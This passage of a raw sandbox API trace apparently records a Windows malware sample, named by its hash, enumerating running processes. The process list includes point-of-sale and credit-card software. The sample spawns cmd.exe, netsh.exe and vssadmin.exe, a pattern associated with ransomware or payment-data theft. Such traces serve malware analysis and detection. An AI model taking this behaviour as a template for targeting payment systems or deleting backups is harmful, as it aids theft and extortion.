0x12 [0053.806] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0053.807] GetLastError () returned 0x12 [0053.807] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0053.808] GetLastError () returned 0x12 [0053.808] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0053.809] GetLastError () returned 0x12 [0053.809] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0053.810] GetLastError () returned 0x12 [0053.810] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0053.811] GetLastError () returned 0x12 [0053.811] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0053.812] GetLastError () returned 0x12 [0053.812] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0053.813] GetLastError () returned 0x12 [0053.813] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0053.814] GetLastError () returned 0x12 [0053.814] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0053.815] GetLastError () returned 0x12 [0053.815] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0053.816] GetLastError () returned 0x12 [0053.816] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0053.817] GetLastError () returned 0x12 [0053.817] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0053.967] GetLastError () returned 0x12 [0053.967] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0053.968] GetLastError () returned 0x12 [0053.968] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0053.969] GetLastError () returned 0x12 [0053.969] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0053.970] GetLastError () returned 0x12 [0053.970] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0053.971] GetLastError () returned 0x12 [0053.971] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0053.972] GetLastError () returned 0x12 [0053.972] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0053.973] GetLastError () returned 0x12 [0053.973] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0053.974] GetLastError () returned 0x12 [0053.974] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0053.975] GetLastError () returned 0x12 [0053.975] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0053.975] GetLastError () returned 0x12 [0053.975] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0053.976] GetLastError () returned 0x12 [0053.976] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.977] GetLastError () returned 0x12 [0053.977] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.978] GetLastError () returned 0x12 [0053.978] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0053.979] GetLastError () returned 0x12 [0053.979] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0053.980] GetLastError () returned 0x12 [0053.980] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.980] GetLastError () returned 0x12 [0053.980] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.981] GetLastError () returned 0x12 [0053.981] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.982] GetLastError () returned 0x12 [0053.982] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.983] GetLastError () returned 0x12 [0053.983] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0053.983] GetLastError () returned 0x12 [0053.984] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.984] GetLastError () returned 0x12 [0053.984] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.985] GetLastError () returned 0x12 [0053.985] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.986] GetLastError () returned 0x12 [0053.986] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.986] CloseHandle (hObject=0x198) returned 1 [0053.987] Sleep (dwMilliseconds=0x1f4) [0054.663] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0054.667] Process32FirstW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.668] GetLastError () returned 0x12 [0054.668] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.668] GetLastError () returned 0x12 [0054.669] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.669] GetLastError () returned 0x12 [0054.669] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.670] GetLastError () returned 0x12 [0054.670] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.671] GetLastError () returned 0x12 [0054.671] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.671] GetLastError () returned 0x12 [0054.671] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.672] GetLastError () returned 0x12 [0054.672] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.673] GetLastError () returned 0x12 [0054.673] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.674] GetLastError () returned 0x12 [0054.674] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.674] GetLastError () returned 0x12 [0054.674] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.675] GetLastError () returned 0x12 [0054.675] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.676] GetLastError () returned 0x12 [0054.676] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.677] GetLastError () returned 0x12 [0054.677] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.678] GetLastError () returned 0x12 [0054.678] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.678] GetLastError () returned 0x12 [0054.678] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.679] GetLastError () returned 0x12 [0054.679] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.680] GetLastError () returned 0x12 [0054.680] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.680] GetLastError () returned 0x12 [0054.681] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.681] GetLastError () returned 0x12 [0054.681] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.682] GetLastError () returned 0x12 [0054.682] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.683] GetLastError () returned 0x12 [0054.683] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0054.683] GetLastError () returned 0x12 [0054.683] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0054.684] GetLastError () returned 0x12 [0054.684] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.685] GetLastError () returned 0x12 [0054.685] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.686] GetLastError () returned 0x12 [0054.686] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0054.686] GetLastError () returned 0x12 [0054.686] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.687] GetLastError () returned 0x12 [0054.687] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0054.688] GetLastError () returned 0x12 [0054.688] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.688] GetLastError () returned 0x12 [0054.689] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0054.689] GetLastError () returned 0x12 [0054.689] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0054.690] GetLastError () returned 0x12 [0054.690] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0054.691] GetLastError () returned 0x12 [0054.691] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0054.692] GetLastError () returned 0x12 [0054.692] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0054.692] GetLastError () returned 0x12 [0054.692] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0054.693] GetLastError () returned 0x12 [0054.693] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0054.694] GetLastError () returned 0x12 [0054.694] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0054.695] GetLastError () returned 0x12 [0054.695] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0054.695] GetLastError () returned 0x12 [0054.695] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0054.696] GetLastError () returned 0x12 [0054.696] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0054.697] GetLastError () returned 0x12 [0054.697] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0054.697] GetLastError () returned 0x12 [0054.698] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: 